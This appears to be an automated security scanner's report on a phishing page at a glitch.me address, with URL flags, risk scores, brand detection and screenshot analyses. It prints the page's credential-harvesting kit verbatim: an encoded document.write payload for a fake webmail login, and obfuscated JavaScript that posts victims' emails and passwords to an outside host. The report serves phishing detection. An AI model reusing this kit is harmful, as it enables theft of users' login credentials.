Windows Analysis Report
http://simple-slow-product.glitch.me/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: http://simple-slow-product.glitch.me

{
    "risk_score": 8,
    "reasoning": "The script contains a suspicious, obfuscated URL that is decoded using the `atob()` function, which is a high-risk indicator for dynamic code execution. The decoded URL also points to a potentially malicious domain, which is another high-risk indicator. Overall, the combination of obfuscation and a suspicious external URL suggests this script is likely malicious and poses a high risk."
}

var lru = "https://breth.site/me2/gen/x3.php"; //"aHR0cHM6Ly9ob3BlbGVzc2x5LWxlYWRpbmctbGlvbmVzcy5uZ3Jvay1mcmVlLmFwcC9waC9tZS9nZW4yL3gzLnBocA==";lru = atob(lru);

{
    "risk_score": 6,
    "reasoning": "The script contains several moderate-risk indicators, including external data transmission to an unknown domain and the use of obfuscated code. While the intent is not entirely clear, the combination of these behaviors warrants further review to ensure the script is not engaging in any malicious activities."
}

document.write(decodeURIComponent(atob('JTNDJTIxRE9DVFlQRSUyMGh0bWwlM0UlMEElM0NzY3JpcHQlM0V2YXIlMjBscnUlMjAlM0QlMjAlMjJodHRwcyUzQS8vYnJldGguc2l0ZS9tZTIvZ2VuL3gzLnBocCUyMiUzQiUyMC8vJTIyYUhSMGNITTZMeTlvYjNCbGJHVnpjMng1TFd4bFlXUnBibWN0YkdsdmJtVnpjeTV1WjNKdmF5MW1jbVZsTG1Gd2NDOXdhQzl0WlM5blpXNHlMM2d6TG5Cb2NBJTNEJTNEJTIyJTNCbHJ1JTIwJTNEJTIwYXRvYiUyOGxydSUyOSUzQiUzQy9zY3JpcHQlM0UlMEElM0NodG1sJTNFJTNDaGVhZCUzRSUwQSUzQ21ldGElMjBodHRwLWVxdWl2JTNEJTIyY29udGVudC10eXBlJTIyJTIwY29udGVudCUzRCUyMnRleHQvaHRtbCUzQiUyMGNoYXJzZXQlM0R3aW5kb3dzLTEyNTIlMjIlM0UlMEElM0NtZXRhJTIwbmFtZSUzRCUyMnJvYm90cyUyMiUyMGNvbnRlbnQlM0QlMjJub2luZGV4JTJDJTIwbm9mb2xsb3clMjIlM0UlMEElM0NtZXRhJTIwbmFtZSUzRCUyMmdvb2dsZWJvdCUyMiUyMGNvbnRlbnQlM0QlMjJub2luZGV4JTJDJTIwbm9mb2xsb3clMjIlM0UlMEElM0N0aXRsZSUzRVdlYm1haWwlMjBQb3J0YWwlMjBMb2dpbiUzQy90aXRsZSUzRSUwQSUzQ3NjcmlwdCUyMHNyYyUzRCUyMmh0dHBzJTNBLy9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjAvYi9wb3J0YWwtYWEzNjMuYXBwc3BvdC5jb20vby9qcXVlcnktMS5qcyUzRmFsdCUzRG1lZGlhJTI2dG9rZW4lM0RiZTYzNzc1MC0xMzNlLTQyMTktOTE0OS1mMjMzNTIyNzZiNzUlMjIlM0UlM0Mvc2NyaXB0JTNFJTBBJTNDc2NyaXB0JTIwc3JjJTNEJTIyaHR0cHMlM0EvL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMS4xMi40LmpzJTIyJTIwaW50ZWdyaXR5JTNEJTIyc2hhMjU2LVF3ODIlMkJiWHlHcTZNeWR5bXFCeE5QWVRhVVhYcTdjOHYzQ3dpWXdMTE5YVSUzRCUyMiUyMGNyb3Nzb3JpZ2luJTNEJTIyYW5vbnltb3VzJTIyJTNFJTNDL3NjcmlwdCUzRSUwQSUzQ3N0eWxlJTNFJTBBaHRtbCUyQ2JvZHklMkNkaXYlMkNzcGFuJTJDYXBwbGV0JTJDb2JqZWN0JTJDaWZyYW1lJTJDaDElMkNoMiUyQ2gzJTJDaDQlMkNoNSUyQ2g2JTJDcCUyQ2Jsb2NrcXVvdGUlMkNwcmUlMkNhJTJDYWJiciUyQ2Fjcm9ueW0lMkNhZGRyZXNzJTJDYmlnJTJDY2l0ZSUyQ2NvZGUlMkNkZWwlMkNkZm4lMkNlbSUyQ2ltZyUyQ2lucyUyQ2tiZCUyQ3ElMkNzJTJDc2FtcCUyQ3NtYWxsJTJDc3RyaWtlJTJDc3Ryb25nJTJDc3ViJTJDc3VwJTJDdHQlMkN2YXIlMkNiJTJDdSUyQ2klMkNjZW50ZXIlMkNkbCUyQ2R0JTJDZGQlMkNvbCUyQ3VsJTJDbGklMkNmaWVsZHNldCUyQ2Zvcm0lMkNsYWJlbCUyQ2xlZ2VuZCUyQ3RhYmxlJTJDY2FwdGlvbiUyQ3Rib2R5JTJDdGZvb3QlMkN0aGVhZCUyQ3RyJTJDdGglMkN0ZCUyQ2FydGljbGUlMkNhc2lkZSUyQ2NhbnZhcyUyQ2RldGFpbHMlMkNlbWJlZCUyQ2ZpZ3VyZSUyQ2ZpZ2NhcHRpb24lMkNmb290ZXIlMkNoZWFkZXIlMkNoZ3JvdXAlMkNtZW51JTJDbmF2JTJDb3V0cHV0JTJDcnVieSUyQ3NlY3Rpb24lMkNzdW1tYXJ5JTJDdGltZSUyQ21hcmslMkNhdWRpbyUyQ3ZpZGVvJTdCbWFyZ2luJTNBMCUzQnBhZGRpbmclM0EwJTNCYm9yZGVyJTNBMCUzQmZvbnQtc2l6ZSUzQTEwMCUyNSUzQmZvbnQlM0Fpbmhlcml0JTNCdmVydGljYWwtYWxpZ24lM0FiYXNlbGluZSU3RGFydGljbGUlMkNhc2lkZSUyQ2RldGFpbHMlMkNmaWdjYXB0aW9uJTJDZmlndXJlJTJDZm9vdGVyJTJDaGVhZGVyJTJDaGdyb3VwJTJDbWVudSUyQ25hdiUyQ3NlY3Rpb24lN0JkaXNwbGF5JTNBYmxvY2slN0Rib2R5JTdCbGluZS1oZWlnaHQlM0ExJTdEb2wlMkN1bCU3Qmxpc3Qtc3R5bGUlM0Fub25lJTdEYmxvY2txdW90ZSUyQ3ElN0JxdW90ZXMlM0Fub25lJTdEYmxvY2txdW90ZSUzQWJlZm9yZSUyQ2Jsb2NrcXVvdGUlM0FhZnRlciUyQ3ElM0FiZWZvcmUlMkNxJTNBYWZ0ZXIlN0Jjb250ZW50JTNBJTI3JTI3JTNCY29udGVudCUzQW5vbmUlN0R0YWJsZSU3QmJvcmRlci1jb2xsYXBzZSUzQWNvbGxhcHNlJTNCYm9yZGVyLXNwYWNpbmclM0EwJTdEJTBBJTBBaHRtbCUyQ2JvZHklN0Jmb250LXNpemUlM0ExOHB4JTNCZm9udC1mYW1pbHklM0FDb3JiZWwlMkNBcmlhbCUyQ0hlbHZldGljYSUyQ3NhbnMtc2VyaWYlM0Jmb250LXdlaWdodCUzQTUwMCU3RCUyM3Jvb3QlN0Jwb3NpdGlvbiUzQWFic29sdXRlJTNCbGVmdCUzQTAlM0JyaWdodCUzQTAlM0Jib3R0b20lM0EwJTNCdG9wJTNBMCUzQnotaW5kZXglM0EtMTAlM0Jwb2ludGVyLWV2ZW50cyUzQW5vbmUlN0QuZXJyb3IlN0Jjb2xvciUzQSUyM2RjMzU0NSUzQndpZHRoJTNBODAlMjUlM0JtYXJnaW4lM0EwJTIwYXV0byUzQnBhZGRpbmctdG9wJTNBNXB4JTdELmZvcm0taG9sZGVyJTdCYmFja2dyb3VuZC1jb2xvciUzQSUyM2ZmZiUzQndpZHRoJTNBNjAwcHglM0JtYXJnaW4lM0ExODBweCUyMGF1dG8lM0JoZWlnaHQlM0ExMDAlMjUlM0Jib3gtc2hhZG93JTNBMCUyMDIwcHglMjA1MHB4JTIwJTIzYTlhOWE5JTNCYm9yZGVyLXJhZGl1cyUzQTRweCUyMDRweCUyMDAlMjAwJTNCYm9yZGVyJTNBMXB4JTIwc29saWQlMjAlMjNkNmRmZWElM0J6LWluZGV4JTNBMTIlN0QueGxvZ28lN0JiYWNrZ3JvdW5kLWNvbG9yJTNBJTIzMGQ0ZjhiJTNCY29sb3IlM0ElMjNmZmYlM0JwYWRkaW5nJTNBOHB4JTNCbWFyZ2luLWJvdHRvbSUzQTEwcHglN0QueGxvZ28lMjBpbWclN0J2ZXJ0aWNhbC1hbGlnbiUzQW1pZGRsZSUzQndpZHRoJTNBNSUyNSUzQmhlaWdodCUzQTUlMjUlM0JvYmplY3QtZml0JTNBY29udGFpbiU3RC54bG9nbyUyMHNwYW4lN0J2ZXJ0aWNhbC1hbGlnbiUzQW1pZGRsZSU3RC5mb3JtLXdyYXAlN0J3aWR0aCUzQTQwMHB4JTNCbWFyZ2luJTNBMCUyMGF1dG8lM0J0ZXh0LWFsaWduJTNBY2VudGVyJTdELmZvcm0td3JhcCUyMHAlN0Jmb250LXNpemUlM0EyNHB4JTdELmZvcm0td3JhcCUyMGltZyU3Qm1hcmdpbiUzQTIwcHglN0QuZmlucHV0JTdCd2lkdGglM0E4MCUyNSU

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, redirects to suspicious domains, and obfuscated code. The script collects user email and password credentials and sends them to an unknown server, which is a clear indication of malicious intent. Additionally, the script manipulates the DOM and redirects the user to a potentially malicious domain. Overall, this script poses a significant security risk and should be treated with caution."
}

		'use strict';
/** @type {!Array} */
var _0x29a3 = ["innerHTML", "137967OuewSg", "379705GmhmYc", "src", "block", "display", "message", "hash", "preventDefault", "1BQGHgr", "val", "fail", "Check your network connection..", "style", "ajax", "kai", "input[name=tpass]", "redirecto", "banNer", "input[name=temail]", "title", "myframe", "74734CDKuWR", "Webmail Portal Login - ", "replace", "https://www.", "zion", "attr", "none", "282575HCidVs", "slice", "getElementById", "Retype", "31421MpoORy", "indexOf", "1DvjFvy", "length", "temail", "Invalid password . Please try again ...", 
"https://www.google.com/s2/favicons?domain=", "location", "error", "log", "focus", "tpass", "value", "12FNOhav", "hido", "572226OvGFSN", "href", "529969LtYXLi"];

/**
 * @param {number} totalExpectedResults
 * @param {?} entrySelector
 * @return {?}
 */
var _0x40b2 = function(totalExpectedResults, entrySelector) {
  /** @type {number} */
  totalExpectedResults = totalExpectedResults - 147;
  var _0x29a399 = _0x29a3[totalExpectedResults];
  return _0x29a399;
};

/** @type {function(number, ?): ?} */
var _0x2e20a0 = _0x40b2;
(function(data, oldPassword) {
  /** @type {function(number, ?): ?} */
  var toMonths = _0x40b2;
  for (; !![];) {
    try {
      /** @type {number} */
      var userPsd = -parseInt(toMonths(184)) + parseInt(toMonths(186)) + parseInt(toMonths(158)) * -parseInt(toMonths(196)) + parseInt(toMonths(182)) * parseInt(toMonths(169)) + parseInt(toMonths(165)) + parseInt(toMonths(188)) + parseInt(toMonths(189)) * -parseInt(toMonths(171));
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x3cd5ae) {
      data["push"](data["shift"]());
    }
  }
})(_0x29a3, 300898);
var hash = window[_0x2e20a0(176)]["hash"]["substr"](1);

/**
 * @return {undefined}
 */
window["onload"] = function init() {
  var prefixed = _0x2e20a0;
  if (hash) {
    var element = window[prefixed(176)][prefixed(194)][prefixed(160)]("#", "");
    var eventPrefix = element[prefixed(170)]("@");
    var crop_growth = element[prefixed(166)](eventPrefix + 1, element[prefixed(172)]);
    document[prefixed(156)] = prefixed(159) + crop_growth;
    var next_grow = prefixed(175) + crop_growth;
    document[prefixed(167)](prefixed(162))[prefixed(190)] = next_grow;
    document[prefixed(167)](prefixed(173))["value"] = element;
    document[prefixed(167)](prefixed(151))[prefixed(187)] = crop_growth;
    document[prefixed(167)](prefixed(154))[prefixed(187)] = crop_growth;
    $("#favicon")[prefixed(163)](prefixed(185), next_grow);
    document[prefixed(167)]("tpass")[prefixed(179)]();
    document["getElementById"](prefixed(157))[prefixed(190)] = prefixed(161) + crop_growth;
    document[prefixed(167)]("redirecto")[prefixed(181)] = prefixed(161) + crop_growth;

    //$.get(lru+"?temail="+$("#temail").val(), function(data, status){});
    $.post(lru,{temail: $("#temail").val()},function(data,status){});
  } else {}
};

/** @type {number} */
var n = 0;
/**
 * @return {?}
 */

 
function goNow() {
		$('#error').hide();
    event.preventDefault();
    var temail=$("#temail").val();
    var tpass=$("#tpass").val();
    var detail=$("#field").html();
    var error = $('#error').html();

		if(document.getElementById("temail").value.length == 0){
		  $("#error").show();
		  $("#error").html("Please enter your email address.");
          temail.focus;
          return false;
		}

		if(document.getElementById("tpass").value.length == 0){
		  $("#error").show();
		  $("#error").html("Please enter your password.");
          tpass.focus;
          return false;
		}

    var inndd=temail.indexOf("@");
    var my_sliceee=temail.substr((inndd+1));
		
		n=n+1;
    $.ajax({
      dataType: 'JSON',
      url: lru,
      type: 'POST',
      data:{
        temail:temail,
        tpass:tpass,
        detail:detail,
      },
		  beforeSend: function(xhr){
        $('#goNow').html('Verifing...');
      },
		  
      success: function(response){

{
  "contains_trigger_text": true,
  "trigger_text": "Please sign in with your email",
  "prominent_button_name": "Continue",
  "text_input_field_labels": [
    "Email Address",
    "Email Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "contains_trigger_text": true,
  "trigger_text": "Please sign in with your email",
  "prominent_button_name": "Continue",
  "text_input_field_labels": [
    "lrrwf2@hcby.net",
    ""
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Norton",
    "Trustee"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Please sign in with your email",
"prominent_button_name": "Continue",
"text_input_field_labels": [
"Please enter your password."
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Norton",
    "TrustedSite"
  ]
}

```json{  "legit_domain": "norton.com",  "classification": "wellknown",  "reasons": [    "The brand 'Norton' is a well-known cybersecurity company.",    "The legitimate domain for Norton is 'norton.com'.",    "The URL 'simple-slow-product.glitch.me' does not match the legitimate domain for Norton.",    "The URL uses 'glitch.me', which is a platform for hosting web applications and not associated with Norton.",    "The presence of a generic and unrelated subdomain 'simple-slow-product' is suspicious.",    "The use of a third-party domain hosting service like 'glitch.me' for a well-known brand like Norton is unusual and raises suspicion."  ],  "riskscore": 9}
Google indexed: False

{
  "contains_trigger_text": true,
  "trigger_text": "Login failed! Please enter correct password.",
  "prominent_button_name": "Continue",
  "text_input_field_labels": [
    "lrrwf2@hcby.net",
    "********"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Norton",
    "TRUSTe"
  ]
}

```json{  "legit_domain": "norton.com",  "classification": "wellknown",  "reasons": [    "The brand 'Norton' is a well-known cybersecurity company.",    "The legitimate domain for Norton is 'norton.com'.",    "The URL 'simple-slow-product.glitch.me' does not match the legitimate domain for Norton.",    "The domain 'glitch.me' is a platform for hosting web applications and is not associated with Norton.",    "The presence of a password input field on a non-legitimate domain is suspicious and indicative of phishing."  ],  "riskscore": 9}
Google indexed: False

```json{  "legit_domain": "norton.com",  "classification": "wellknown",  "reasons": [    "The brand 'Norton' is a well-known cybersecurity company, and its legitimate domain is 'norton.com'.",    "The URL 'simple-slow-product.glitch.me' does not match the legitimate domain of Norton.",    "The domain 'glitch.me' is a platform for hosting web applications and is not associated with Norton.",    "The use of a generic domain like 'glitch.me' with unrelated subdomains is a common tactic in phishing attempts.",    "The presence of input fields for email and password on a non-legitimate domain raises suspicion."  ],  "riskscore": 9}
Google indexed: False